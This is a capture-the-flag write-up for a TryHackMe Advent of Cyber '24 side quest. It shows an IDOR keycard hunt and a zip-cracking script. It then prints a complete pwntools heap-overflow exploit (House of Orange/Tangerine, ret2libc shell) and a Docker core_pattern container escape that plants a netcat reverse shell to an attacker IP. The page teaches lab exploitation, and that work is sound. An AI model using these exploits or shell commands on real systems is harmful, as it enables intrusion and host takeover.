☕
Writeups
TryHackMeHackTheBoxReferralsDonateLinkedIn
  • Writeups
  • TryHackme
    • 2025
      • Security Footage
      • Ledger
      • Moebius
      • Mayhem
      • Robots
      • Billing
      • Crypto Failures
      • Rabbit Store
      • Decryptify
      • You Got Mail
      • Smol
      • Light
      • Lo-Fi
      • Silver Platter
    • 2024
      • Advent of Cyber '24 Side Quest
        • T1: Operation Tiny Frostbite
        • T2: Yin and Yang
        • T3: Escaping the Blizzard
        • T4: Krampus Festival
        • T5: An Avalanche of Web Apps
      • The Sticker Shop
      • Lookup
      • Mouse Trap
      • Hack Back
      • SeeTwo
      • Whiterose
      • Rabbit Hole
      • Mountaineer
      • Extracted
      • Backtrack
      • Brains
      • Pyrat
      • K2
        • Base Camp
        • Middle Camp
        • The Summit
      • The London Bridge
      • Cheese CTF
      • Breakme
      • CERTain Doom
      • TryPwnMe One
      • Hammer
      • U.A. High School
      • IronShade
      • Block
      • Injectics
      • DX2: Hell's Kitchen
      • New York Flankees
      • NanoCherryCTF
      • Publisher
      • W1seGuy
      • mKingdom
      • Airplane
      • Include
      • CyberLens
      • Profiles
      • Whats Your Name?
      • Capture Returns
      • TryHack3M
        • TryHack3M: Burg3r Bytes
        • TryHack3M: Bricks Heist
        • TryHack3M: Sch3Ma D3Mon
        • TryHack3M: Subscribe
      • Creative
      • Bypass
      • Clocky
      • El Bandito
      • Hack Smarter Security
      • Summit
      • Chrome
      • Exfilibur
      • Breaking RSA
      • Kitty
      • Reset
      • Umbrella
      • WhyHackMe
      • Dodge
    • 2023
      • Advent of Cyber '23 Side Quest
        • The Return of the Yeti
        • Snowy ARMageddon
        • Frosteau Busy with Vim
        • The Bandit Surfer
      • Stealth
      • AVenger
      • Dreaming
      • DockMagic
      • Hijack
      • Bandit
      • Compiled
      • Super Secret TIp
      • Athena
      • Mother's Secret
      • Expose
      • Lesson learned?
      • Grep
      • Crylo
      • Forgotten Implant
      • Red
    • Obscure
    • Capture
    • Prioritise
    • Weasel
    • Valley
    • Race Conditions
    • Intranet
    • Flip
    • Cat Pictures 2
    • Red Team Capstone Challenge
      • OSINT
      • Perimeter Breach
      • Initial Compromise of Active Directory
      • Full Compromise of CORP Domain
      • Full Compromise of Parent Domain
      • Full Compromise of BANK Domain
      • Compromise of SWIFT and Payment Transfer
  • HackTheBox
    • 2025
      • Certified
    • 2024
      • BoardLight
      • Crafty
      • Devvortex
      • Surveillance
      • Codify
      • Manager
      • Drive
      • Zipping
    • 2023
      • Topology
Powered by GitBook
On this page
  • L3 Keycard
  • Teardown Firewall
  • Recon
  • Flag 1 - Unzip The Zip
  • Flag 2 - Master The Heap
  • Flag 3 - Escape The Docker Container

Was this helpful?

  1. TryHackme
  2. 2024
  3. Advent of Cyber '24 Side Quest

T3: Escaping the Blizzard

Beware of Blizzard Bear skills, he even managed to hack your old text-based service. Talk about a blast from the 90's!

PreviousT2: Yin and YangNextT4: Krampus Festival

Last updated 4 months ago

Was this helpful?

The following post by 0xb0b is licensed under


L3 Keycard

We find the keycard for the third Side Quest hidden in the task of the 12th day of the TryHackMe Advent Of Cyber. With the following task, it gives us a hint to check for something where the balance shifts. From the rhymes, it sounds like to look for an IDOR: Where balances shift and numbers soar, look for an entry - an open door

Day 12: If I can’t steal their money, I’ll steal their joy!

We scan for further directories of the walkthrough machine and find, among others, the directory transactions.

We call this, but it requires an ID.

We receive such an ID after a transaction has been carried out. On closer inspection, this could be something MD5 hashed.

We enter the parameter ID with the value from our last transaction and receive a status.

We try to crack our transaction hash using crackstation.net. And find out that in our case it is the value 1339 MD5 hashed.

The idea now is to look for further transactions, perhaps another one hides a further reference to the keycard. We intercept a request using Burp Suite and forward it to the Intruder module. Here we mark the value that is passed via the ID.

On tab payloads, we define the necessary parameters to query further IDs. We chose the payload type numbers and limit the number range 1330 to 1350 for the time being. Under Payload processing, we specify that these values should be hashed.

We start the attack and filter by the response length. One response stands out in particular, with a length of 367. Here we find something encoded in base64 in the status.

We decode this string and see a path that points to an image.

We request the path and find the third keycard.

/secret/0opsIDidItAgain_MayorMalware1337.png 

Teardown Firewall

We can deactivate the firewall with the password of the keycard. We can pass the value to a website on port 21337.

Recon

After we have deactivated the firewall, we start with an Nmap scan and find three other open ports in addition to port 21337. We have port 22 SSH, port 80 a web server and on port 1337 an unknown service.

The site offers a service to generate building and construction approvals with a form for construction request and a contact form.

We carry out a directory scan. We find the backup directory, which could contain interesting sensitive information.

In that backup directory is a binary called enc, some recommended passwords and a zip file.

Next, we try to connect to the service on port 1337. There we can create, read and edit permit entries. That text based mentioned in the room description that Blizzard Bear managed to hack.

Let's see how the binary behaves on entering some example values. If we enter something not expected, the application loops.

Flag 1 - Unzip The Zip

We download the zip file, the password file and the binary. We can see that the zip file contains the maybe first flag (foothold.txt), a binary called secureStorage and a Dockerfile. So let's stick with that for now.

We check the enc binary and run it. It looks like it encrypts a given password.

Using zip2john and trying to crack that password with the given password list does not yield to anything.

We craft a simple script to encrypt each password of the recommended-passwords.txt and save the encrypted password to encrypted-passwords.txt.

enc.sh
#!/bin/bash

# Input and output file paths
input_file="/home/0xb0b/Documents/tryhackme/aoc24/sq3/recommended-passwords.txt"
output_file="/home/0xb0b/Documents/tryhackme/aoc24/sq3/encrypted-passwords.txt"
enc_binary="/home/0xb0b/Documents/tryhackme/aoc24/sq3/enc"

# Clear or create the output file
> "$output_file"

# Loop through each line in the input file
while IFS= read -r password; do
    # Encrypt the password using the enc binary
    encrypted_password=$("$enc_binary" "$password")
    # Append the result to the output file
    echo "$encrypted_password" >> "$output_file"
done < "$input_file"

echo "Encryption complete. Results saved to $output_file"

We try to crack the zip again, now with the encrypted passwords, and are successful.

We extract the contents of the zip file and have access to the first flag.

Flag 2 - Master The Heap

Here is just a rough overview of the exploit. The script for this was created by Aquinas, all credits belong to him. His intention and detailed procedure to craft the script can be found in his writeup, which will be linked here as soon as it is online:

We run the secureStorage file and see the same banner printed, like on port 1337. This might be the way to get a foothold.

In the Docker file, we can see that this binary is exposed to port 1337 using socat, and the flag is placed in the root directory. Furthermore, we see that the libc.so.6 and ld-lindux-x86-64.so.2 is placed in the same directory as secureStorage. We can already assume here that when we reach foothold, it is in a docker container, and we must break out of it.

But for now, let's move on to the analysis of the binary. For this we are using BinaryNinja. In the main function, it loops infinitely for the menu.

The function show() does not appear to be conspicuous for the time being.

The create() function seems to be vulnerable to a heap based buffer overflow. Here, memory is allocated using malloc and then written to using read().

If the size allocated by malloc(((uint64_t)rax_6)) is smaller than the size specified in sizes[rax_1] + 0x10, the read function will write past the bounds of the allocated buffer.

*(uint64_t*)((((uint64_t)rax_1) << 3) + &chunks) = malloc(((uint64_t)rax_6));
read(0, *(uint64_t*)((((uint64_t)rax_1) << 3) + &chunks), ((int64_t)(*(uint32_t*)((((uint64_t)rax_1) << 2) + &sizes) + 0x10)));

The memory is overwritten in the edit() function

read(0, *(uint64_t*)((((uint64_t)rax_1) << 3) + &chunks), ((uint64_t)(rax_6 + 0x10)));

A collection of heap based buffer overflow techniques can be taken from this repository :

Which heap based buffer overflow techniques are available to us depends on the glibc version. To determine the version, we determine the addresses of known functions and pass it to libc.rip.

We run the application using gef, set a breakpoint and run p system and p malloc to retrieve the addresses.

We pass those into libc.rip and see that libc 2.39 is used.

Not too many techniques are possible for these.

We do not find any free() used in the rest of the code.

Therefore, we need a technique that does not use free(). Among them is the house of tangerine.

Following techniques are combined:

  • Leak libc and heap addresses. (House Of Orange)

  • Corrupt tcache metadata. (House Of Tangerine)

  • Redirect malloc to a desired address.

  • Craft a payload for ret2libc execution.

Unsorted Bin Leak (House of Orange)

  • Goal: Leak libc and heap addresses.

  • Steps:

    1. Overflow the top chunk size, forcing it into the unsorted bin.

    2. Allocate from the unsorted bin to leak a libc pointer (present in the bin metadata).

    3. Perform a similar allocation to leak a heap pointer by crafting data that spills into heap metadata.

Tcache Corruption (House of Tangerine)

  • Background on Tcache Bins:

    • When a chunk is freed, it is placed into a "bin" organized by size.

    • If multiple chunks share the same size, they are linked together in the bin via pointers.

    • Allocating the first chunk (head) from the bin updates the pointer to point to the next chunk.

  • Goal: Manipulate malloc to return a specific address.

  • Steps:

    1. Prepare the Bin:

      • Place at least two chunks of the same size into the same bin.

    2. Corrupt the Pointer:

      • Modify the pointer of the first chunk (head) to point to the desired target address.

      • Tcache uses XOR encoding (vuln_tcache >> 12), so a heap leak is required to calculate the correct pointer.

    3. Allocate Twice:

      • First allocation removes the corrupted head, setting the target address as the new head.

      • Second allocation returns the target address.

Arbitrary Read/Write and ret2libc

  • Goal: Gain control over the program's execution flow.

  • Steps:

    1. Use the manipulated malloc to leak a stack address (e.g., __libc_argv).

    2. Calculate offsets to overwrite the saved return address on the stack.

    3. Craft a ret2libc payload to call system("/bin/sh").

This script is developed by Aquinas. All rights and credit are attributed to him:

aquinas_is_awesome.py
from pwn import *

binary = './secureStorage'
elf = ELF(binary)
libc = ELF('./libc.so.6')

p = remote('10.10.181.11', 1337)
# p = process(binary)

def create(index,size,data):
    p.sendlineafter(b'>>', b'1')
    p.sendlineafter(b'index:', str(index).encode())
    p.sendlineafter(b'size:', str(size).encode())
    p.sendafter(b'data:', data)

def edit(index,data):
    p.sendlineafter(b'>>', b'3')
    p.sendlineafter(b'index:', str(index).encode())
    p.sendafter(b'data:', data)

def show(index):
    p.sendlineafter(b'>>', b'2')
    p.sendlineafter(b'index:', str(index).encode())
    p.recvline();
    return p.recvline().strip()

# first need a libc and heap base leak

create(0, 256, 256*b"A" + p64(0) + p64(0xc61)) # create an overflow top chunk size, 'house of orange' style
create(1, 0xf98, b"firstlargechunk") # this will be used later, but here forces top chunk into unsorted bin

# original top is now in unsorted bins because its size is too big for tcache bins

# leak a libc address, by carving a portion from our unsorted bin 
# which has a libc address in it at 8: and which gets preserved in the new alloc

create(2, 24, b"LEAKADDD")
data = show(2)
data = u64(data[-6:].ljust(8,b'\x00'))
print('leaked libc: ' + hex(data))
libc_base = data - 0x204120 # calculated using vmmap and comparing libc base the above
print('libc\'s base: ' + hex(libc_base))
libc.address = libc_base

# do the same again, this time for a heap address at position 16:

edit(2, b"LEAKADDDLEAKADDD")
data = show(2)
data = u64(data[-6:].ljust(8,b'\x00'))
print('leaked heap: ' + hex(data))
heap_base = data - 0x3a0 # calculated using vmmap and comparing to the above
print('heap\'s base: ' + hex(heap_base))

# now need to return to our second alloc (first big one) to overflow the new top
# need to overflow the top size to 0x60 (61 with in use bit) so it goes into a specific tcache bin
# under 0x410 means tcache, not unsorted. this is the 'house of tangerine' attack

payload = b"A"*0xf98
payload += p64(0x61) # target bin we want to hit, here 0x40 + 0x20
edit(1, payload)
create(3, 0xf98, b"secondlargechunk")

# top chunk will now be in tcache 0x40 (this is the second top chunk, after the original we used for leaks)

payload = b"secondlargechunk"
payload += b"B"*(0xf98 - len(payload))
payload += p64(0x61)
edit(3, payload)
create(4, 0x1000, b"thirdlargechunk")

# new top chunk will be in tcache 0x40, linked to the first one

# need to calculate the corrupted tcache address (which is xor encoded with portions of its memory address)
# which will be our target; when we allocate off the tcache list, malloc will return this target address

vuln_tcache = heap_base + 0x43FB0 # this is the first address after the size of the first tcache chunk, overwritable with index 2
print("tcache address: " + hex(vuln_tcache))
target = libc.symbols["__libc_argv"] - 0x10 # this contains an address on the stack, which can leak to use for further targeting. go back 0x10 so as not to wipe the data we want to read
print("target address: " + hex(target))
safe_link_addr = target ^ (vuln_tcache >> 12) # not-so-safe linking protection bypass

payload = b"A"*0xf98
payload += p64(0x41) # note once the bins are in the tcache, they are 0x20 smaller than they were before
payload += p64(safe_link_addr)
edit(3, payload)

# allocate out of the tcache bin, corruptng it
create(5, 0x30, b"removefirsttcache")
create(6, 0x30, b"controllocation!") # this 'permit' will be allocated at the address we specified above

data = show(6)
data = u64(data[-6:].ljust(8,b'\x00'))
print('leaked stack: ' + hex(data))
predicted_main_ret = data - 0x120
print('main ret: ' + hex(predicted_main_ret))

create(7, 0xc10, b"fourthlargechunk") # just to clean out the unsorted bin - this is the size of the bin - 0x10, and results in the bin being fully allocated back on the heap
# we do this because its size is bigger than the tcache bins we want to create next, which will likely mean any allocations would have gotten carved out of this bin instead

# first of the new tcache bins - still in the heap at this point
create(8, 0xbc8, b"fifthlargechunk")
payload = b"fifthlargechunk"
payload += b"C"*(0xbc8 - len(payload))
payload += p64(0x421) # size of the bin we are targeting, 0x400 + 0x20
edit(8, payload)

# second new bin, and also it pushes the previous into the tcache
create(9, 0xbd8, b"sixthlargechunk")
payload = b"sixthlargechunk"
payload += b"D"*(0xbd8 - len(payload))
payload += p64(0x421)
edit(9, payload)

# this will push the second bin into the tcache bin 0x400, with the two linked
create(10, 0x1000, b"seventhlargechunk")
  
# targeting for our second arbitrary allow - the offset is calculated by the head of the tcache bin - heap base
vuln_tcache = heap_base + 0x87BF0
print("new vuln tcache: " + hex(vuln_tcache))
target = predicted_main_ret - 0x8
print("target: " + hex(target))
safe_link_addr = target ^ (vuln_tcache >> 12)

# load in the target
payload = b"sixthlargechunk"
payload += b"D"*(0xbd8 - len(payload))
payload += p64(0x401) # 0x20 smaller than 0x420
payload += p64(safe_link_addr)
edit(9, payload)

# allocate out of the tcache bin, corrupting it
create(11, 0x3f0, b"removefirsttcache") # 0x10 (16 bytes) smaller than the tcache bin.
# this will be at our target location

ret = p64(libc_base + 0x1afc8c) # objdump -d libc.so.6 | grep ret
poprdiret = p64(libc_base + 0x10f75b) # ROPgadget --binary libc.so.6 | grep 'pop rdi'
system = p64(libc.symbols["system"])
binsh = p64(libc_base + 0x1cb42f) # strings -a -t x libc.so.6 | grep /bin/sh
final_payload = p64(0) + ret + poprdiret + binsh + system + p64(0)

create(12, 0x3f0, final_payload)

# attach(p)

p.sendlineafter(b'>>', b'4') # exit main to trigger exploit

p.interactive()

It takes several attempts to get a shell, it may take up to 10 attempts, if not more. It could be more successful with the Attack box. We get a foothold and are root on the system. In the current directory, we find the second flag.

Flag 3 - Escape The Docker Container

As predicted we are in a docker container, running deepce.sh we see that groups are exploitable.

LinPeas gives us a better impression of what exactly is exploitable. Either a core_pattern breakout or an uevent_helper breakout is possible.

The core_pattern breakout seems promising, as it matches the theme of the room.

A Docker core_pattern breakout leverages the misconfiguration of the core_pattern kernel parameter in a containerized environment to break out of a Docker container and escalate privileges on the host. This is possible when the host system is configured to store or process core dumps in a way that exposes sensitive data or allows interaction between the container and the host.

Prerequisites

  1. Privileged Container: The container must be running in privileged mode or have CAP_SYS_ADMIN capabilities to modify /proc/sys/kernel/core_pattern.

  2. Writable Host Filesystem: Access to write to host directories (e.g., via mounted volumes).

  3. Vulnerable Configuration: The host's core_pattern is configured insecurely or can be overridden by the container.

An example can be found here:

If we can successfully write our script to /proc/sys/kernel/core_pattern prefixed with a pipe, the kernel will execute our program outside of the container.

But first, lets test if we can simulate a crash that then writes to a file we have defined in core_pattern.

echo '/tmp/core.%e.%p' > /proc/sys/kernel/core_pattern
python3 -c 'import os; os.abort()'
ls /tmp

Seems like it worked.

Now we need to write our shell script and this has to be accessible from the host.

mount

We can show the mounts and find the overlay folder. If we write to / on the container, it is actually at /var/lib/docker/overlay2/221c28c3554db6a8781a1558e327ee54b8a3d6b7266507ee7ccd8af24a05c444/diff/

/var/lib/docker/overlay2/221c28c3554db6a8781a1558e327ee54b8a3d6b7266507ee7ccd8af24a05c444/

We place our shell.sh in / of the docker container.

echo '#!/bin/bash' > /shell.sh
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.14.90.235 4445 >/tmp/f' >> /shell.sh
chmod +x /shell.sh

We write the path to the shell script prefixed with a pipe to execute it outside the container.

echo "|/var/lib/docker/overlay2/221c28c3554db6a8781a1558e327ee54b8a3d6b7266507ee7ccd8af24a05c444/diff/shell.sh" > /proc/sys/kernel/core_pattern

With the following command, we force a crash.

python3 -c 'import os; os.abort()'

And get a connection back to our listener. We are root on the host and find the final flag at /root/root.txt.

CC BY 4.0
Advent of Cyber '24 Side QuestTryHackMe
ctf-writeups/tryhackme-rooms/adventofcyber24sidequest.md at master · ChrisPritchard/ctf-writeupsGitHub
GitHub - shellphish/how2heap: A repository for learning various heap exploitation techniques.GitHub
how2heap/glibc_2.39 at master · shellphish/how2heapGitHub
Escaping privileged containers for funpwning.systems
Logo
Logo
Logo
Logo
Logo